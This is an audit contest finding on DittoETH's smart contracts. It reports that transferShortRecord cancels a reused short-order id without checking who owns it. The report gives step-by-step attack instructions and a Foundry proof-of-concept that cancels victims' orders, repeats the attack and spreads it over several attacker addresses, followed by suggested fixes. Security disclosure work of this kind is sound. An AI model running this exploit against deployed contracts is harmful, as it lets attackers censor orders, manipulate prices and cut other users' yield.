DittoETH - 00xSEV's results

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L134-L136

Vulnerability details

Summary

LibSRUtil.transferShortRecord does not check the owner of nft.shortOrderId before canceling it.

shortOrderIds are reused after the order is canceled.

An attacker can create a state for an NFT where the short record's status is SR.PartialFill, but nft.shortOrderId is already reassigned to another user, yet still set in the attacker's NFT.

This will make the system think that it needs to cancel nft.shortOrderId, even though it belongs to another user already and does not reference the original order.

Vulnerability Details

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L134-L136

if (short.status == SR.PartialFill) {
            LibOrders.cancelShort(asset, nft.shortOrderId);
}

For the example, we will use ids that would be used by a new asset (starting ids, 2 for shortRecord and 100 for short order). Steps for the attacker, the simplest attack (see test1 function in PoC too):

1. Create a short record that will be partially filled
   1. The attacker can create a limit short + market bid in the same transaction. The market bid must not fully cover the limit short.
2. Then, possibly in the same transaction, they
   1. mintNFT
      1. shortRecordId = 2
      2. shortOrderId = 100
         1. short order's linked list state: HEAD <-> HEAD <-> 100 <-> TAIL
   2. cancel the short
      1. short order's linked list state HEAD <-> 100 <-> HEAD <-> TAIL
   3. cancel the short record with id 2 (exitShortErcEscrowed in PoC)
3. A victim creates a limit short
   1. shortOrderId is 100 again (reused), but it is a different order, it belongs to the victim now.
   2. Short order's linked list state HEAD <-> HEAD <-> 100 <-> TAIL
4. The attacker decides to cancel it
5. The attacker creates a new short record (the same way as in step 1). Note that because the last short record with id=2 was canceled its id will be reused
   1. Even though we canceled the short record in step 2.3, it is now recreated. So, the new record's id is 2 again and the .status is SR.PartialFill
6. Attacker does transferFrom
   1. All the checks are passed because the short record with id is legit, the status is SR.PartialFill, and the record belongs to the attacker
   2. The code will call LibOrders.cancelShort(asset, nft.shortOrderId);
      1. nft.shortOrderId is 100
   3. The short order with id 100 is canceled (victim's order)

The attacker can also create many NFTs and choose which orders to cancel as they wish (See the second function in PoC).

The attacker can then create the NFTs again and start the attack again (See the third PoC).

It's also possible to have several NFTs on the same address or different addresses with the same nft.shortOrderId. It may also lead to accidental cancellation even if a user is not malicious.

Impact

The attacker has full control over which short orders appear on the order book; they can censor orders, manipulate the price by canceling orders with a low price.

It's possible to reduce other's rewards by canceling shorts just before the rewards are due (Token yield is provided only after some time on the order book, see here).

The platform is unusable because short orders can be canceled at any time arbitrarily by an attacker, or several attackers/bad actors, who do not like some short orders.

Proof of Concept

forge test -vvv --match-path contracts/AANftAttack.sol

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;

import "contracts/libraries/LibOrders.sol";
import {Test} from "forge-std/Test.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {console} from "contracts/libraries/console.sol";
import {IDiamond} from "interfaces/IDiamond.sol";
import "contracts/libraries/AppStorage.sol";
import "contracts/libraries/Constants.sol";
import "contracts/interfaces/IDiamondCut.sol";
import "contracts/libraries/LibAsset.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {TestTypes} from "test/utils/TestTypes.sol";

import {console2} from "forge-std/console2.sol";


contract AppStorageReader {
    function minAskEth(address asset) external view returns (uint) {
        return LibAsset.minAskEth(asset);
    }

    function initialCR(address asset) external view returns (uint) {
        return LibAsset.initialCR(asset);
    }

    function minShortErc(address asset) external view returns (uint) {
        return LibAsset.minShortErc(asset);
    }

    function getBid(address asset, uint16 id) external view returns (STypes.Order memory) {
        return appStorage().bids[asset][id];
    }

    function getShort(address asset, uint16 id) external view returns (STypes.Order memory) {
        return appStorage().shorts[asset][id];
    }

    function getTokenIdCounter() external view returns (uint40) {
        return appStorage().tokenIdCounter;
    }
}

contract AANftAttack is OBFixture {
    using U256 for uint256;
    using U88 for uint88;
    using U80 for uint80;


    bytes4[] internal appStorageReaderSelectors = [
        AppStorageReader.minAskEth.selector,
        AppStorageReader.initialCR.selector,
        AppStorageReader.getBid.selector,
        AppStorageReader.getShort.selector,
        AppStorageReader.getTokenIdCounter.selector,
        AppStorageReader.minShortErc.selector
    ];
    IDiamondCut.FacetCut[] public newCut;


    // Shows that an attacker can cancel someone else's order, simplified, only one order
    function test1() external {
        _addAppStorageReaderToDiamond();

        address attacker = address(0x5a9a88bD94c8410243B0c04018811b8cA4D09D55);
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );

        vm.startPrank(attacker);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID);
            cancelShort(C.STARTING_ID);
        vm.stopPrank();

        STypes.ShortRecord memory shortRecord = getShortRecord(attacker, C.SHORT_STARTING_ID);
        uint88 amount = shortRecord.ercDebt;
        // Deletes the last shortRecord
        exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attacker);
        
        fundLimitShort( DEFAULT_PRICE - 1, DEFAULT_AMOUNT * 99, victim ); 

        // Creates new shortRecord
        fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker ); 
        fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );
        // _logShortOrders();

        vm.prank(attacker);
        // You can comment this line to make sure cancelShort will not revert
        diamond.transferFrom(attacker, attacker, 1);

        // _logShortRecords(attacker);
        // _logShortOrders();

        vm.prank(victim);
        vm.expectRevert(Errors.NotActiveOrder.selector);
        cancelShort(C.STARTING_ID);
    }

    // Shows that an attacker can cancel arbitrary orders, more complex
    function test2() external {
        _addAppStorageReaderToDiamond();

        // Random addresses, can be indefinite
        address[3] memory attackerAddresses = [
            0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
            0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
            0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
        ];
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        for (uint8 i; i < attackerAddresses.length; i++){
            // These two lines create a ShortRecord
            // Price decreases with each step to make a new order the first to be filled, 
            // ensuring that every fill (market bid) does not go to the first short order.
            // Price is higher than default to be > oracle price and be filled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }

        // Empty
        console.log("__Before victim creates orders (empty):");
        _logShortOrders();

        // +111, +222, +333 are used to differentiate between orders in the log output.
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim ); 

        // 3 victim's orders
        console.log("__After victim creates orders (3 orders):");
        _logShortOrders();

        for (uint8 i; i < attackerAddresses.length; i++){
            // Skip the second one just to demonstrate that one can cancel arbitrary
            if (i == 1) continue;

            // Create shorts that will be partially filled, to create shortRecords
            // We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
            // with a new one. It will set their status to PartiallyFilled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
        }

        console.log("__After the attack (2 attackers orders followed by a victim's one):");
        _logShortOrders();
    }

    // Shows that an attacker can repeat the attack indefinitely
    function test3() external {
        _addAppStorageReaderToDiamond();

        // Random addresses, can be indefinite
        address[3] memory attackerAddresses = [
            0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
            0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
            0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
        ];
        address attackerAdditionalAddress = 0xefa7092E09664743518177Fc740f257d3C17D348;
        address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);

        for (uint8 i; i < attackerAddresses.length; i++){
            // These two lines create a ShortRecord
            // Price decreases with each step to make a new order the first to be filled, 
            // ensuring that every fill (market bid) does not go to the first short order.
            // Price is higher than default to be > oracle price and be filled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }

        // Empty
        console.log("__Before victim creates orders (empty):");
        _logShortOrders();

        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim ); 

        // 3 victim's orders
        console.log("__After victim creates orders (3 orders):");
        _logShortOrders();

        for (uint8 i; i < attackerAddresses.length; i++){
            // Create shorts that will be partially filled, to create shortRecords
            // We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
            // with a new one. It will set their status to PartiallyFilled
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
        }
        console.log("__After the attack (3 attackers orders):");
        _logShortOrders();
        // 102----HEAD--101--100--103  <--short order ids from the linked list of orders
        //Canceled--H----2----1----0   <--attacker ids from attackerAddresses
        // We want 102--101--100--HEAD--103, so we cancel 2->1->0
        // (A canceled order is placed immediately to the left of HEAD)
        vm.prank(attackerAddresses[2]);
        cancelShort(101);
        vm.prank(attackerAddresses[1]);
        cancelShort(100);
        vm.prank(attackerAddresses[0]);
        cancelShort(103);

        // We got 102--101--100--103--HEAD
        // Then create an order to remove 103 and get to a desired state
        fundLimitShort( DEFAULT_PRICE + 1e6, DEFAULT_AMOUNT + 999, attackerAdditionalAddress); 
        console.log("__Ready for another attack (102--101--100--HEAD--103):");
        _logShortOrders(); // We got 102--101--100--HEAD--103

        for (uint8 i; i < attackerAddresses.length; i++){
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );

            vm.prank(attackerAddresses[i]);
            diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
        }

        for (uint8 i; i < attackerAddresses.length; i++){
            vm.prank(attackerAddresses[i]);
            cancelShort(C.STARTING_ID + i);

            STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
            uint88 amount = shortRecord.ercDebt;
            exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
        }
        console.log("__Ready for another attack full:");
        _logShortOrders();

        // Victims create orders again
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 555, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 666, victim ); 
        fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 777, victim );
        console.log("____Second iteration____");
        console.log("__After victim creates orders (3 victim's orders + an attacker's one):");
        _logShortOrders();


        for (uint8 i; i < attackerAddresses.length; i++){
            fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] ); 
            fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
            
            vm.prank(attackerAddresses[i]);
            // id (the last argument) starts with 4 because 3 NFTs have been minted 
            // in the previous attack; we don't use them anymore
            diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 4 + i);
        }

        console.log("__Second attack done (4 attacker's orders):");
        _logShortOrders();
    }

    function _logShortRecords(address addr) internal view {
            console.log("===");
            console.log("id: ", 0);
            console.log(getShortRecord(addr, 0));
            console.log("id: ", 1);
            console.log(getShortRecord(addr, 1));
            console.log("id: ", 2);
            console.log(getShortRecord(addr, 2));
            console.log("id: ", 3);
            console.log(getShortRecord(addr, 3));
            console.log("id: ", 4);
            console.log(getShortRecord(addr, 4));
            console.log("===");
    }




    function _addAppStorageReaderToDiamond() internal {
        newCut.push(
            IDiamondCut.FacetCut({
                facetAddress: address(new AppStorageReader()),
                action: IDiamondCut.FacetCutAction.Add,
                functionSelectors: appStorageReaderSelectors
            })
        );
        vm.prank(owner);
        diamond.diamondCut(newCut, address(0), "");
    }
    

    function _logBids() internal view {
        // See console.logBids
        STypes.Order memory o = AppStorageReader(_diamond).getBid(asset, C.HEAD);
        console.log(o);

        uint16 currentId = o.nextId;
        while (currentId != C.TAIL) {
            o = AppStorageReader(_diamond).getBid(asset, currentId);
            console.log(o);
            currentId = o.nextId;
        }
        console.log("--");
    }

    function _logShortOrders() internal view {
        // See console.logShorts
        STypes.Order memory o = AppStorageReader(_diamond).getShort(asset, C.HEAD);
        console.log(o);

        uint16 currentId = o.nextId;
        while (currentId != C.TAIL) {
            o = AppStorageReader(_diamond).getShort(asset, currentId);
            console.log(o);
            currentId = o.nextId;
        }
        console.log("--");
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

1. Consider checking the owner of the short order in transferShortRecord before cancelling it
2. Consider burning the nft when short record is deleted

Assessed type

Invalid Validation